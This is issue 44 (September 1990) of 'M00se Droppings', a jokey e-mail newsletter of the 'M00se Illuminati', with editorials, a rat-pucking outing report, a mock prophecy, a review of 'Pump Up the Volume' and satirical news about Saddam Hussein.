three spelled it as "Olsen" which is not only 20% incorrect, it violates
the new FCC obscenity standards. Please correct this or I'll tell Tipper
Gore where you live.
Gary W. Olson
34EPWQL@CMUVM
(In case you didn't notice, Gary's name was spelled "Olsen" in the last version
of the m00se list.)
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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
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Issue 44 | Disclaimer: The Editor does hereby take responsibility | 09/08/90
---------- for the full contents of this newsletter. Accountability ----------
is now the name of the game. A pox on playing it safe. Let's get real. Bl00p.
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**************************** THE ISSUE AT A GLANCE *****************************
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EDITORIALS AND LETTERS
More rantings from the Editor
Comments on possible directions for the M00se Illuminati
The Elvis/Boats debate
IMPORTANT ANNOUNCEMENTS
Updated m00se files
EVENTS AND NEWS
A new landedm00se
Rat Pucking in Connecticut
INTERESTING ARTICLES
Signs of Universal M00seness and the Dawn of the Bl00p age
FILM REVIEW
Pump Up the Volume
M00SCELLANEOUS NONSENSE
A new look at the Iraq situation
A possible new feature for M00se Droppings
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**************************** EDITORIALS AND LETTERS ****************************
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Hail and well met.
You now hold in your grubby little account issue #44 of M00se Droppings.
Congratulations. Spread it far and wide, and try to increase our membership.
Those of you who are more astute than the average toad may have noticed
that this issue is kind of late. Well, I apologize for that, and can only
plead lameness. Yes, that's right - I am leading a Lame Life.
Now, this shouldn't come as too great a surprise. Most people lead lame
lives, but most people don't notice it. As my roommate said (and as other,
better people have said before him): You go to school, you graduate, you get a
job that you don't really like, you either get married or never meet anybody
who will consent to join you in that venture, and then you just kind of exist.
The problem is, you get bored, and then you get listless, and then you
don't get around to doing things like editing and mailing your magazine, just
because.
But then, you realize that you have founded a Force for Good in the world,
named the M00se Illuminati, and that you must not be quite normal after all,
and that goddamn it, you're going to put that magazine out because it's one of
the few things that can counteract the drudgery of your pathetic text
processing job. So, here it is!
Nah, it's not really that bad. It just usually seems to be. Especially
after being put into a bad mood by a second viewing of "Pump Up the Volume,"
reviewed below. There have been a couple most interesting events recently, all
of which we will come to presently.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Now we have some comments on some of my proposed projects for the M00se
Illuminati, from MagicM00se, aka Freed0m M00se:
Personally, I like the M00se Illuminati precisely _because_
there are no membership cards, no dues, no purpose. Sure, we're
all atheists or pagans, anarchists or revolutionaries, but to try
to define the limits of our vision is to give up our freedom, our
m00siness.
OK, I know you don't want to push any ONE viewpoint on the
masses of m00ses, but to organize is to label, and when we become
known as a group we will be viewed as a group. What worse fate
could there be for a m00se, born to know the freedom of the fjords?
Well, that's my 2 kopeks worth. I say we stay a chaotic
thr0ng, difficult to keep track of.
"M00si i'halla shansu"
"M00sey peace upon you", in the Old Tongue of Jennifer Roberson's
books.
The fact that no progress on any of these projects has been made aside, I
would like to comment. I have indeed ruled out dues entirely; I don't want to
take any steps to *reduce* membership. However, *if* we start a paper
newsletter, there will be a subscription fee, just because whoever does the
printing will at least want to break even. I promise you that a paper
newsletter will never replace M00se Droppings; it will be purely for the
benefit of people who don't have net access, but want to receive semi-regular
news of the M00se Illuminati. It would also be useful in that it could be left
where other people would find it.
As for membership cards and the like, again, I certainly would not make
them mandatory. But wouldn't it be neat to flip one out when you got carded,
or when you were asked for ID? Probably not the kind of thing the organization
as a whole should do; but I encourage m00ses to waste money at the printers
having personal M00se Illuminati business cards made for themselves.
Some people have expressed a dislike for the compiling of m00se lists.
I'm going to continue to do this, though, because I am very curious about how
far the conspiracy is spreading. I recently discovered that the info files (an
old version, I believe) worked its way onto some Internet usegroups. I got
email from a person who said he saw a physical copy stuck on an actual cork-
based bulletin board in New York City. Obviously, I won't be able to keep
track of all, or even most of the m00ses. But it's so much fun to wave the
numbers at people who called me mad!
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Lastly, before going ahead with the issue, I wish to keep you all
appraised of a debate raised by last issue's not-plain brown wrapper.
Warm00se, who I ran into again at the faire in Sterling, New York, informed me
that the line is not "Elvis *eats* boats," but rather "Elvis *needs* boats."
I'm sure you'll all agree with me that this is patently absurd. We have proven
that Elvis is a superior being. What on earth would he need boats for? Elvis
has no needs. Maybe he *wants* boats, but to say that he needs them makes no
sense. Sorry Pat.
For more information, go to your local comic book store and purchase a
copy of "The Elvis Mandible," in which many secrets are revealed.
On with the issue,
Bill.
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************************** IMPORTANT ANNOUNCEMENTS *****************************
--------------------------------------------------------------------------------
Just to announce it again, updated m00se files are available. And now,
when you order updated files, you will receive an updated m00se list as well.
Keep sending submissions! Keep recruiting new members!
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****************************** EVENTS AND NEWS *********************************
--------------------------------------------------------------------------------
[Along with the new effort to list and keep track of landedm00ses (those
chapters without network access), it seems only appropriate to discuss them
once in a while. Thanks to Lord Trelf for this piece. -wrd]
Hail and well met, my dear fellow M00ses! 'Tis I, Lord Trelf, posting at
last after a long absence from contributing, and I bring glad tidings indeed!
WE HAVE A NEW MEMBER! At the Sterling Renaissance Faire in Sterling, NY this
weekend (August 18 and 19), Lady Rebecca Hughes was inducted as a full member
of the M00se Illuminati. She had been subjected to many confusing ramblings by
myself, Sabre, CHAOS Engineer, and WarM00se, and began to ask questions; rather
than explain, we made her a member! To show her willingness to fight for our
causes peacefully, she did run about the parking lot, holding her hands in the
M00se symbol and bl00ping merrily. We who were there at her induction (myself,
Sabre, and CHAOS Engineer) feel that she is an excellent addition to the
Illuminati.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[A report of a m00sey event, by Pickle. -wrd]
Labor Day. It happens every year. It strikes me as a completely stupid
idea, celebrating labor, something that we only do because we have to eat.
Something we do when we could be out walking in the woods, canoeing down the
Chattooga, making love in the public square.
But this time -- this year, it was different. The sun shone, the breeze
was perfect, and students had just returned to the University of Hartford.
Mike Harm and I woke up in our New Britain apartment, looked outside, and
vowed not to spend the day indoors. Sadly, suffering from Romantic
Deprivation, we had no special anybodys to take on a picnic, and we've already
climbed Avon Mountain this summer, and we couldn't afford to go to an amusement
park.
Then, I started thinking back to the renaissance faire in Sterling. They
had an activity there called "rat pucking," which seems to be a poor person's
medieval version of golf. You take a rat and a stick, and you fling, or
"puck," the rat along the fairway until you can get it through the target,
usually the crotch of a tree.
I suggested it. Mike decided it must be done. We shopped around and
couldn't find any stuffed rats, so we went to my house and made some out of
some ratty old furry fabric I had, left over from my high school theatre days.
We constructed a pair of fine rats, Terence and Pat Buchanan by name, and
then cut down a couple small trees for pucking sticks. After a little work
with a chainsaw and a utility knife (with which I accidentally gouged a decent-
sized hole in my leg), we took the assemblies to the University of Hartford,
and began pucking.
The Village Apartment green was swarming with newly-arrived students, many
of them jocks and frat types. Oddly enough, none of them scoffed. We soon had
an audience, and after our second game, two charming women came out of the
apartment nearby and asked if they could play. We eventually picked up three
more people, and wandered around the green from apartment quad to apartment
quad, pucking a hole in each quad. Audiences applauded and cheered, and sent
delegates to find out what we were up to. All in all, it was a fine afternoon,
and the charming women (Sharon and Marie by name) invited us back to their
apartment for dinner. It happened also to be my old friend Missy's apartment
(Missy is another spectacularly charming woman), and we all had pesto and
spinach salad and watched "Bill and Ted's Excellent Adventure."
Conclusion: Rat Pucking is a most m00sey sport, and can help you meet
cool people. Go, and enjoy.
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**************************** INTERESTING ARTICLES ******************************
--------------------------------------------------------------------------------
[Who needs the Oracle? It seems we have a prognosticator right here in our own
organization. Here is the beginning of the revelations of Lord Sabre. -wrd]
***The Vision***
On August 20, 1990, while sitting at work after being sick all the week
before and then staying out until 2:30 in the morning dancing and carrying on
the night before, and after far too much coffee, the young, semi-relusive m00se
known only as Sabre entered a reverie and was able to fortell...the *Signs of
Universal M00seness and the Dawn of the Bl00p age*! These mystic, some would
even say unlikely events passed through his fatigue poison-soaked brain like
rabbits through a kiln.
Feeling it was his duty to let his brethren know the signs of the age of
M00se, Sabre did place them in an electronic medium, so that the Bavarians (who
of course control the vital YALEVM/CUNY link) would be too confused to properly
restrict it. Therefore, here are the beginnings of the Signs.
When the seas do turn red, and the skys indigo (in the
precise shades to insure lack of color coordination),
then will the forces from the stars run rampant across
our fair land. These forces -- the power of Leviam00se
and other m00sey types, will first visit a nearby McDonald's
for a Quarter-Pounder with Cheese and fries, side of nuggets,
and a large Orange Drink. Unfortunatly, the all-powerful
forces will attempt to go through the drive-through, and
lack of communication will waylay them for a considerable
amount of time. Months, perhaps.
Meanwhile, Madonna will be looking out her veranda, trying
to decide what corset to wear to the neighborhood mall,
will be visited by God.
"Hello, Madonna," the Almighty will say.
"Yeah, what?" She will respond.
"I have come to you, my child, to call on you to bring
forth a message of hope and peace to the world."
"Right. Who is this really?"
"Look, I am God. Father, son, spook, the whole bit. All I
want from you is for you to go back to some normal hair
color, put on some clothes, and go tell people to be nice
to each other. You think you can handle that?"
"Look, I don't care how omnipotent you are, God," Madonna
will say, pouting, "*I* have an image to maintain, and it
doesn't involve brown hair or decent clothing. And there's
no money in 'be nice to each other.' Try Sheena Easton -- I
hear she's a sucker for a sappy line."
"Look, I'm trying to--"
"Buzz off!"
"Right!" And thus will God rise up, take Madonna up into
his all-powerful hand, and cast her down forever into the
pit of eternal damnation. This will be the first sign.
"No," the impossibly mighty Leviam00se, ticked now, will say, "I
want a *QUARTER-POUNDER*! *CHEESE!!!!* Can you hear me?"
"Mmmmm mmmm mmmmmmmmmm mmm mmmmmmm?" the voice from the machine
will ask.
"QUARTER-POUNDER!!!!!!!!"
Thor, mightiest of Norse deities, will visit North America,
and announce plans for a North American Tour. He will make
plans to do some Anthrax covers, and perhaps a bit of Black
Sabbeth. When asked about the quality of his singing voice,
Thor will hurl his uru hammer Mjolner, obliterating Dan Rather
utterly and interfering with television reception across the
tri-state area. Then, as a gesture of faith, he will smite
down the New Kids on the Block, maiming but sparing them. The
scarred and rended New Kids will refuse to do any more magazine
covers. This will be the Second sign.
More signs will come forth...perhaps, with luck, the seer will not be
nearly as tired and the general humor quality will improve.
--------------------------------------------------------------------------------
******************************** FILM REVIEW ***********************************
--------------------------------------------------------------------------------
PUMP UP THE VOLUME
Reviewed by Pickle
"Eat your cereal with a fork, and do your homework in the dark," advises
Happy Harry Hardon just before he signs off, before the opening credits of
"Pump Up the Volume." Sound advice, I'm sure you'll agree.
Happy Harry Hardon is a pirate DJ in Suburbia, Arizona (I'm pretty sure
it's Arizona). His real name is Mark Hunter, his father is the new
superintendent of the district, he can't reach any of his friends back east on
his shortwave set, and he hates school. He's too shy to actually speak to
anybody, so at ten o'clock at night, he cranks up the shortwave and broadcasts
his show on 92fm. The students start listening, they start getting more active
in their discontent with their wretched situation as teenagers in an empty
decade, and the Authority Reflex kicks in to try to put a stop to it.
It sounds fairly familiar, but this is a much better movie than the
standard "young people are the only ones with a clue and should start doing
something about it" movie. If the movie is taken the right way, it could be
real bad for the status quo in America. "Steal the air! It belongs to you!"
Mark/Harry shouts at the end of the film. And he's *right*. Where does the
U.S. Government get off controlling use of electromagnetic waves running
through the planet's atmosphere? We've had a lot of things usurped from us,
and this film advises us to start taking them back. It made me want a
shortwave set, anyway.
Christian Slater, the psychopath who understood things pretty well in the
black comedy "Heathers," plays Mark/Harry. He does an excellent job of showing
us the confident Harry when alone, talking to a microphone, and then switching
to the totally socially inept Mark when in the presence of others. And, as in
Heathers, he has a co-star who I would marry in an instant, given the chance.
I have a list of the cast, but not the characters, in front of me; Nora is
played by either Ellen Greene or Samantha Mathis. I think it's Mathis. She's
a dark-haired, artsy-fartsy type who isn't really quite as uninhibited as she
pretends to be. Not quite enough to push Winona Ryder out of her place in my
heart, but close.
The adults in the movie are, almost without exception, total boneheads.
Sadly, I'm over twenty myself, and so I'm no longer quite as sure of the truth
of this as I was a couple years ago. But in general, it works.
The main weakness of the film is the villainess, the principle of Hubert
H. Humphrey High School. There is a totally unnecessary subplot involving her
extreme and nasty methods of maintaining the school's record of having the
highest average SAT scores in the state. It's almost as if somebody didn't
like the idea that life as a teenager could suck so badly no matter where you
are, so they insisted that this subplot be written in to demonstrate that this
particular high school has something *really* wrong with it. Hard Harry's
rants on his shortwave apply to Life As We Know It in America; insertion of
this "bad guy" dilutes that message, allowing one to see the problems as
isolated at Harry's/Mark's high school. But for those who can look past this
problem, the movie works extremely well, and may even wake some people up.
One final note: one of the dropouts in the film is played by one Billy
Morrisette. I'm not sure which one; I've seen the movie twice and still can't
pick him out for sure. You may have seen him as Alex's college chum in "Family
Ties" if you ever watch that show. *I* last saw him when he directed my junior
high-school production of "Bye-Bye, Birdie." Yup, he went to my high school.
I think he graduated four or five years before I did. The lead singer,
guitarist, and songwriter for "Chronic Disorder" and "Thick As Thieves," Jason
Wentzel (sp?), was in my class in high school. My brushes with greatness. But
I digress.
Go see "Pump Up the Volume." It's good, it's hip, it's got Christian
Slater and a new dark-haired funky woman, and hopefully it'll speed up the
downfall of the United States government.
Talk hard. Steal the air. Pump up the volume.
--------------------------------------------------------------------------------
*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
[Oh dear. This piece, submitted by Ice Lord, was pirated from WEIRD-L, but
since it came originally from the Boston Globe, I don't feel bad about
including it. I'm pretty sure all but the first paragraph is made up. In
any case, it fits in well as an example of both a political slant and a truly
bizarre, m00sey thing. Also, those of us who are suffering from "romantic
deprivation" might want to consider invading a small country. -wrd]
BOSTON GLOBE, 8/22/90 p. 48
Suffused with humanitarian concern, Italian legislator and ex-porno star
Illona Staller volunteered to fling woo with Iraqi leader Saddam Hussein on the
theory that a birthday suit frolic might relieve his hostilities. "I'm
available to make love with Hussein to achieve peace in the Middle East," said
Staller in a statement as immodest and forward as the on-screen conduct that
made her a star. Known as Cicciolina, or "Little Toy," Staller volunteered
herself during an interview on a Buenos Aires talk show. Why Staller was in
Argentina and why she believes that romantic deprivation may account for
Saddam's invasion of Kuwait were not made clear in wire service reports.
In related stories, French President Francois Mitterand offered to perform
an act of oral gratification on Hussein in return for the release of French
nationals in Iraq, and British Prime Minister Margaret Thatcher and President
Bush issued a joint statement this morning suggesting that Hussein engage in a
masturbatory act.
Congressional leaders are in their third day of conferences concerning
action to be taken on the crisis in the middle east, sequestered in a Motel 6
in suburban Baltimore. Options being discussed, revealed House Armed Services
Chairman Les Aspin of Colorado, include a pre-emptive bombing attack on Baghdad
and distribution of thousands of rubber party dolls to Iraqi troops.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[Life according to Mugwump, and a suggestion for more m00se activity. -wrd]
I think a m00se chased my cat away this morning.
I'm bummed.
It doesn't seem like a very m00sey thing to do.
I think there are anti-m00se out there, masquerading as m00se.
I think G.B. and his playmate little Saddy are the anti-m00se.
Unless it's Tipper Gore.
What do you think? Should we start giving out a prize for the m00siest
and least m00siest actions every issue of Droppings?
--------------------------------------------------------------------------------
*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ***************
--------------------------------------------------------------------------------
There have been many changes since last issue, so I will send a complete
list of Cyberm00ses after this issue.
================================================================================
R -- STEAL THE AIR -- STEAL THE AIR -- STEAL THE AIR -- STEAL THE AIR -- STEAL T
================================================================================

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